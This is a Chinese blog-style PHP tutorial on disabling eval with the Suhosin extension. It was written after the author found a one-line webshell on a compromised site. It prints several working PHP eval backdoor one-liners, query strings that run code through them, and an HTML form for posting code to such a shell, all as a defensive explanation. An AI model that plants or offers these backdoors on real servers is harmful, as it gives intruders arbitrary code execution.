返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >php如何才能禁止eval
  • 894
分享到

php如何才能禁止eval

2023-06-20 16:06:05 894人浏览 薄情痞子
摘要

本篇内容主要讲解“PHP如何才能禁止eval”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“php如何才能禁止eval”吧!之前网站收到黑客攻击,我们才知道php的eval函数具有很大的安全隐患。

本篇内容主要讲解“PHP如何才能禁止eval”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习php如何才能禁止eval”吧!

之前网站收到黑客攻击,我们才知道php的eval函数具有很大的安全隐患。今天我们就来介绍一下禁止eval的方法,有需要的可以参考参考。

前段时间,网站遭受了黑客的入侵,后来在排查中发现了一个php,里面的内容只有很少:

php如何才能禁止eval

<?php eval($_POST[asda123131323156341]);?>

然后网上搜索一下php的eval函数,发现这个eval函数带有很大的安全隐患。

本地测试一下,在本地环境写一个php,内容如下:

default.php:

<?php eval($_GET[asda]);?>

然后访问一下:localhost/test/default.php?asda=phpinfo();

就可以看到已经把phpinfo给执行了。

或者是访问localhost/test/default.php?asda = echo 11111;同样也会发现1111被echo出来了。

类似的手段还有:

<?php $code="${${eval($_GET[c])}}";?>

访问localhost/test/default.php?c=phpinfo();即可看到

<?php$code=addslashes($_GET[c]);eval(""$code""); ?>

访问localhost/test/default.php?c= ${${phpinfo()}};即可看到

利用可以执行php的eval函数,黑客可以用这个来上传一些后台木马,比如说上传php,然后通过url访问这个php来获得更大的权限。这种称为一句话木马的入侵。比如说:写一个html,内容如下:

<html> <body> <fORM action="default.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>

然后写一个default.php,内容为:</>

<?php eval($_POST[c]);?>

这样的话,想执行什么php就可以直接提交运行即可。

所以: eval()对于php安全来说具有很大的杀伤力,eval函数减弱了你的应用的安全性,因此一般不用的情况下为了防止类似如下的一句话木马入侵,需要禁止!

然而网上很多说使用disable_functions禁止掉eval的方法都是错误的!

其实eval()是无法用php.ini中的disable_functions禁止掉的 :

because eval() is a language construct and not a function

eval是zend的,因此不是PHP_FUNCTION 函数;

那么php怎么禁止eval呢?

如果想禁掉eval可以用php的扩展 Suhosin:

安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!

总结,php的eval函数在php中是无法禁用的,因此我们也只有使用插件了!

至于安装suhosin来禁止eval函数的步骤为:(未测试)

说明:

php安装目录:/usr/local/php5

php.ini配置文件路径:/usr/local/php5/etc/php.ini

Nginx安装目录:/usr/local/nginx

Nginx网站根目录:/usr/local/nginx/html

安装编译工具

yum install wget  make GCc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils  patch perl

安装suhosin

cd /usr/local/src   #进入软件包存放目录wget  Http://download.suhosin.org/suhosin-0.9.33.tgz    #下载tar zxvf suhosin-0.9.33.tgz   #解压cd suhosin-0.9.33   #进入安装目录/usr/local/php5/bin/phpize   #用phpize生成configure配置文件./configure  --with-php-config=/usr/local/php5/bin/php-config   #配置make   #编译make install   #安装安装完成之后,出现下面的界面,记住以下路径,后面会用到。Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/   #suhosin模块路径

配置php支持suhosin

vi /usr/local/php5/etc/php.ini   #编辑配置文件,在最后一行添加以下内容 extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.sosuhosin.executor.disable_eval = on

注意:suhosin.executor.disable_eval = on 的作用就是禁用eval函数

测试

vi /usr/local/nginx/html/phpinfo.php    #编辑

<?phpphpinfo();?>

:wq!  #保存退出

service php-fpm restart   #重启php-fpm

service nginx restart   #重启nginx

注意:如果是apache的话也是一样的,重启apache即可。

浏览器打开phpinfo.php 如下图所示,可以看到suhosin相关信息

php如何才能禁止eval

至此,linux下php安装suhosin安装完成!

注意:禁用了 eval后,会有啥后果呢? 首先是代码里使用 eval 的软件将不能使用比如大名鼎鼎的 Discuz! 论坛和 PHPWind论坛将不能正常使用,也影响到phpMyAdmin的旧版本,如果更新到目前最新的3.2.5,就可以使用,只是默认有个警告的提示,在 config.inc.php 中加上 $cfg['SuhosinDisableWarning']=true;

就可以取消这个警告了。

注意:除了eval之外,还有assert也是类似的用法。

到此,相信大家对“php如何才能禁止eval”有了更深的了解,不妨来实际操作一番吧!这里是编程网网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

--结束END--

本文标题: php如何才能禁止eval

本文链接: https://lsjlt.com/news/298564.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • php如何才能禁止eval
    本篇内容主要讲解“php如何才能禁止eval”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“php如何才能禁止eval”吧!之前网站收到黑客攻击,我们才知道php的eval函数具有很大的安全隐患。...
    99+
    2023-06-20
  • win下php如何禁止eval
    本篇内容主要讲解“win下php如何禁止eval”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“win下php如何禁止eval”吧!win下php禁止eval的方法:1、下载“PHP_diseva...
    99+
    2023-07-04
  • win下php怎么禁止eval
    本教程操作环境:windows7系统、PHP8.1版、Dell G3电脑。win下php怎么禁止eval?php禁用eval函数讲解1.eval是什么eval是一个语言构造器,并不是系统组件函数,因此我们在php.ini中使用disable...
    99+
    2024-04-02
  • php如何禁止smtp邮件功能
    今天小编给大家分享一下php如何禁止smtp邮件功能的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。禁用SMTP支持PHP M...
    99+
    2023-07-05
  • PHP如何禁止session超时
    本篇内容主要讲解“PHP如何禁止session超时”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP如何禁止session超时”吧!PHP禁止session超时的方法:1、在PHP文件中设置“...
    99+
    2023-06-22
  • nginx如何禁止访问php
    这篇“nginx如何禁止访问php”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“nginx如何禁止访问php”文章吧。ngi...
    99+
    2023-07-04
  • php如何禁止pc访问
    本篇内容主要讲解“php如何禁止pc访问”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“php如何禁止pc访问”吧!php禁止pc访问的方法:1、创建一个php示例文件;2、通过“public s...
    99+
    2023-07-04
  • php如何实现禁止采集
    本文操作环境:Windows7系统、PHP7.1、Dell G3。php如何实现禁止采集?PHP防采集方法代码 1 <php 2 10 $HTTP_REFERER = $_SERVER["H...
    99+
    2021-02-20
    php
  • php如何禁止执行命令
    小编给大家分享一下php如何禁止执行命令,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!php禁止执行命令的方法:首先找到并打开配置文件php.ini;然后找到“d...
    99+
    2023-06-09
  • php如何禁止重复投票
    这篇文章主要介绍“php如何禁止重复投票”,在日常操作中,相信很多人在php如何禁止重复投票问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”php如何禁止重复投票”的疑惑有所帮助!接下来,请跟着小编一起来学习吧...
    99+
    2023-06-20
  • php如何禁止重复登录
    这篇文章主要介绍了php如何禁止重复登录,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。php禁止重复登录的方法:1、获得当前打开浏览器session的id;2、判断数据库里的...
    99+
    2023-06-15
  • php如何实现访问禁止
    本篇内容主要讲解“php如何实现访问禁止”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“php如何实现访问禁止”吧!php实现访问禁止的方法:1、创建一个php示例文件;2、通过“if(geten...
    99+
    2023-07-04
  • 如何用php禁止get请求
    这篇文章主要介绍“如何用php禁止get请求”,在日常操作中,相信很多人在如何用php禁止get请求问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”如何用php禁止get请求”的疑惑有所帮助!接下来,请跟着小编...
    99+
    2023-07-05
  • php如何禁止文本输入
    本文小编为大家详细介绍“php如何禁止文本输入”,内容详细,步骤清晰,细节处理妥当,希望这篇“php如何禁止文本输入”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。首先,要清楚一个基本的前提:在 HTML 或者 P...
    99+
    2023-07-05
  • php如何禁止查看代码
    本篇内容介绍了“php如何禁止查看代码”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!首先,为了确保禁止查看PHP代码的作用,建议将代码存放在...
    99+
    2023-07-05
  • linux中Apache如何禁止解析php
    这篇文章给大家分享的是有关linux中Apache如何禁止解析php的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。如果网站有漏洞,万一有人在网站上上传一些***文件,就会存储在网...
    99+
    2024-04-02
  • LAMP中Apache如何禁止解析php
    这篇文章主要介绍了LAMP中Apache如何禁止解析php,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。    &nbs...
    99+
    2024-04-02
  • php怎么禁止smtp邮件功能
    PHP是一种强大的编程语言,广泛应用于Web开发领域中,其中SMTP邮件功能也是PHP开发中的重要一环。但是,在某些情况下,您可能希望禁止SMTP邮件功能,本文将介绍如何实现。禁用SMTP支持PHP Mailer 类是PHP开发中最流行的S...
    99+
    2023-05-14
    SMTP php
  • HTML5如何添加禁止缩放功能
    这篇文章主要介绍HTML5如何添加禁止缩放功能,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!具体代码如下所示:<meta name="viewport&qu...
    99+
    2024-04-02
  • jQuery如何实现禁止右击功能
    这篇文章主要介绍了jQuery如何实现禁止右击功能,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。禁止右击<script ty...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作